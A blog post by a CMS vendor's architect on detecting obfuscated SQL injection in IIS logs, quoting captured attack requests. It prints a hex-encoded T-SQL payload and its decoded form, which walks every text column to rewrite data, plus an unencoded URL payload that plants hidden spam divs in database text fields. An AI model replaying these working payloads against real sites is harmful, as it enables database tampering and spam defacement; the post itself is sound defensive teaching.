Locating obfuscated SQL injection attempts

   —   

In terms of security there is a large list of approaches that can be exploited. Over time it is highly probable that someone will target your site and the attacker is keen on using every possibility to breach your security.

Today I will go back to basics and discuss the SQL injection (SQLi).

Locating obfuscated SQL injection attempts

In terms of security there is a large list of approaches that can be exploited. Over time it is highly probable that someone will target your site and the attacker is keen on using every possibility to breach your security. Some ways of doing so are more apparent than others coming from full scale DoS attacks to small and unknown zero day exploits and memory corruption on hardware levels.

Today let’s go back to basics and discuss the SQL injection (SQLi).

This attack pattern had already seen its most glorious days some time ago. Therefore I am sure you are familiar with it. You may ask, why talk about something you already know? The fact, that SQLi is already known, does not mean that all sites are protected against it and that it is not used.

Currently the world of cyber security is no longer human controlled world with all hackers sitting behind their machines trying to hack a single server. It is rather part of a larger concept. Yes, some hackers are still there, manually trying to break into most recent software and hardware. But there are large networks of automated tools and out of the box attack kits. Lately I had seen ransomware as a service and another ransomware with its own support line(!) where you could ask for payment details and how to decrypt your data.

These tools look for all possible vectors and actively try all of known techniques. If your site is online on the web sooner or later it may be targeted by these tools. Some of these tools will try to inject spam content into your site, usually to achieve higher page rank of other sites. However there are more sophisticated tools that are more subtle and could be leveraged to do almost everything. Example of fake content is string such as:

<div style="display:none">interactive adult stories <a href="http://www.site.com/blog/template/page/adult_stories">Spam.com</a> reading adult stories</div>

SQLi had evolved from its humble beginning with simple apostrophe escaping. Various covert actions are used to bypass filters and other countermeasures. Let’s take a look how you can identify a SQLi attempt from IIS logs.

IIS logging can be configured directly on IIS management panel:

By default, logs are stored at following location:

%SystemDrive%\inetpub\logs\LogFiles

You can find more information about logs here:


https://www.iis.net/learn/manage/provisioning-and-managing-iis/configure-logging-in-iis

These logs contain records of every single request that was made to the server. Although SQLi is targeting database server, the entry point to the environment it is the application server which processes attacker’s HTTP requests.

Example of a log record:

#Fields:    
date time 2015-08-03 14:02:58 2015-08-03 14:02:58
s-ip 192:168:0:1 192:168:0:1
cs-method GET GET
cs-uri-stem / GET
cs-uri-query default.aspx lang=en-us GET /admin
s-port 80 80
cs-username - -
c-ip 192:168:0:5 192:168:0:5
cs(User-Agent) - -
sc-status 500 500
sc-substatus 0 0
sc-win32-status 0 0
time-taken 31604 7

Looking at logs of Kentico website, you see a lot of requests being routed to /CMSPages/PortalTemplate.aspxThis is a Portal Engine base page that handles all requests. They are rewritten and directed to respective pages inside the application itself rather than on the server. Targeted page is identified by an is aliaspath such as =/Company/About-Us.

I had mentioned before, that most of SQLi attacks are more evolved and most likely you won’t see an attack like '1=2. Eg:

#Fields:    
date time 2015-08-03 14:02:58 2015-08-03 14:02:58
s-ip 192:168:0:1 192:168:0:1
cs-method GET GET
cs-uri-stem / GET
cs-uri-query default.aspx lang=en-us?'1=2 GET /admin?'SELECT*FROM"Code9".dbo.CMS_User;
s-port 80 80
cs-username - -
c-ip 192:168:0:5 192:168:0:5
cs(User-Agent) - -
sc-status 500 500
sc-substatus 0 0
sc-win32-status 0 0
time-taken 31604 7

 These days the injections are more sophisticated, well hidden, injected as parameters and obfuscated to error direct blacklists. Take a look at following example of an actual attack(Since this is too long I will rather use an ordered list):

  1. 2015-02-04 09:55:20
  2. 192.168.66.63
  3. GET
  4. /CMSPages/PortalTemplate.aspx category=1'+declare+@s+varchar(8000)+set+@s=cast(0x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e313020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d535542535452494e47285b272b40432b275d2c20312c2043484152494e4445582827273c2f7469746c653e3c27272c5b272b40432b275d29202d203129207768657265205b272b40432b275d206c696b65202727253c2f7469746c653e3c252727202729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72+as+varchar(8000))+exec(@s)--&aliaspath=%2fFiles%2fFAQpanelpage
  5. 80
  6. -
  7. 193.176.147.213
  8. Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1)
  9. 200
  10. 0
  11. 121
  12. 25241

As you can see category ID parameter is leveraged. The whole injection is covered. It is hidden in declaration of varchar which is set and executed as a procedure. Most relevant and important part of the query is encoded in hexadecimal, so that it is not readable to humans and to disable keywords filters or firewalls that could catch words like insert or update. However this encoding is not a problem in terms of query execution on SQL server. When you decode this text you will see:

?set ansi_warnings off DECLARE @T VARCHAR(255),?@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.?COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.table?s t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c?.CHARACTER_MAXIMUM_LENGTH>10 and t.table_name=c.table_name and t.tabl?e_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor IN??O @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+??C+']=SUBSTRING(['+@C+'], 1, CHARINDEX(''</title><'',['+@C+']) - 1) w?here ['+@C+'] like ''%</title><%'' ') FETCH NEXT FROM Table_Cursor IN?TO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

As you can see, this is a complex query.

Another attempt was less subtle, because it was not even encoded:

Products/Microphones/Recording-Microphones.aspx?page=2');declare%20@c%20cursor;set%20@c=cursor%20for%20select%20TABLE_NAME,c.COLUMN_NAME%20FROM%20sysindexes%20AS%20i%20INNER%20JOIN%20sysobjects%20AS%20o%20ON%20i.id=o.id%20INNER%20JOIN%20INFORMATION_SCHEMA.COLUMNS%20c%20ON%20o.NAME=TABLE_NAME%20WHERE(indid=0%20or%20indid=1)%20and%20DATA_TYPE%20like%20'%25text';declare%20@a%20varchar(99);declare%20@s%20varchar(99);declare%20@f%20varchar(99);declare%20@sql%20varchar(8000);open%20@c;fetch%20next%20from%20@c%20into%20@a,@s;while%20@@FETCH_STATUS=0%20begin%20set%20@sql='declare%20@f%20binary(16);declare%20@x%20cursor;set%20@x=cursor%20for%20SELECT%20TEXTPTR(%5B'%2B@s%2B'%5D)%20FROM%20%5B'%2B@a%2B'%5D%20where%20not%20%5B'%2B@s%2B'%5D%20like%20''%25fiogf49gjkf0d%25'';open%20@x;fetch%20next%20from%20@x%20into%20@f;while%20@@FETCH_STATUS=0%20begin%20declare%20@sql%20varchar(8000);set%20@sql=''UPDATETEXT%20%5B'%2B@a%2B'%5D.%5B'%2B@s%2B'%5D%20''%2Bmaster.dbo.fn_varbintohexstr(@f)%2B''%200%200%20''''''%2Bchar(60)%2B''div%20style=%22display:none%22''%2Bchar(62)%2B''fiogf49gjkf0d''%2Bchar(60)%2Bchar(47)%2B''div''%2Bchar(62)%2B'''''''';exec(@sql);fetch%20next%20from%20@x%20into%20@f;end;close%20@x';exec(@sql);fetch%20next%20from%20@c%20into%20@a,@s;end;close%20@c--

Few key commands are not hidden due to the nature of the attack. It is essential to keep looking for exec words in the logs as this keyword may execute any SQL procedure and it does not have common place inside of HTTP requests.

Share this article on   LinkedIn

Michal Samuhel

I am solution architect at Kentico. I help with all possible and impossible issues, development, deployment and others. Kinda wild card in here. I like reading new information and sometimes I even publish a line or two.